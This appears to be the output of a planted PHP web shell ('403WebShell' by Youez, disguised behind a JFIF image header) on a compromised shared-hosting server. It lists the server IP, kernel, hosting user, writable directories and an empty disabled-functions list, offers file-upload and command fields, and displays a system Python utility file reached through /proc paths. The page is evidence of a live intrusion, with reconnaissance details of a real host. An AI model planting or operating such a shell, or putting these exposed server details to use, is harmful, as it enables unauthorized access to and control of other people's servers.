���� JFIF    adgknasdgsa403WebShell
403Webshell
Server IP : 84.32.84.10  /  Your IP : 3.16.13.249
Web Server : LiteSpeed
System : Linux us-imm-web537.main-hosting.eu 4.18.0-513.11.1.lve.el7h.x86_64 #1 SMP Thu Jan 18 15:21:24 UTC 2024 x86_64
User : u547896322 ( 547896322)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/19156/root/proc/thread-self/root/lib/python2.7/site-packages/clcommon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/19156/root/proc/thread-self/root/lib/python2.7/site-packages/clcommon/utils.py
#!/usr/bin/python
# -*- coding: utf-8 -*-

import subprocess


class ExternalProgramFailed(Exception):
    def __init__(self, message):
        Exception.__init__(self, message)


def run_command(cmd, env_data=None):
    """
    Runs external process and returns output
    @param cmd: command and arguments as a list
    @return: string
    """
    cmd_line = ' '.join(cmd)
    try:
        output = subprocess.Popen(
            cmd,
            stdin=open('/dev/null'),
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            close_fds=True,
            env=env_data)
    except OSError, oserr:
        raise ExternalProgramFailed('%s. Can not run command: %s' % (cmd_line, str(oserr)))
    std_out, std_err = output.communicate()
    if output.returncode != 0:
        raise ExternalProgramFailed(std_err or 'output of the command: %s\n%s' % (cmd_line, std_out))
    return std_out


def delete_line_from_file(path, line):
    """
    Delete line from file. Return True when line(s) have been deleted, False otherwise (specified line is not found)
    :param path: path to file
    :type path: string
    :param line: line to delete without EOL ('\n')
    :type line: string
    :rtype bool
    """
    found = False
    f = open(path, 'r+')
    lines = f.readlines()
    f.seek(0)
    for l in lines:
        if l != ('%s\n' % line):
            f.write(l)
        else:
            found = True
    f.truncate()
    f.close()
    return found


Youez - 2016 - github.com/yon3zu
LinuXploit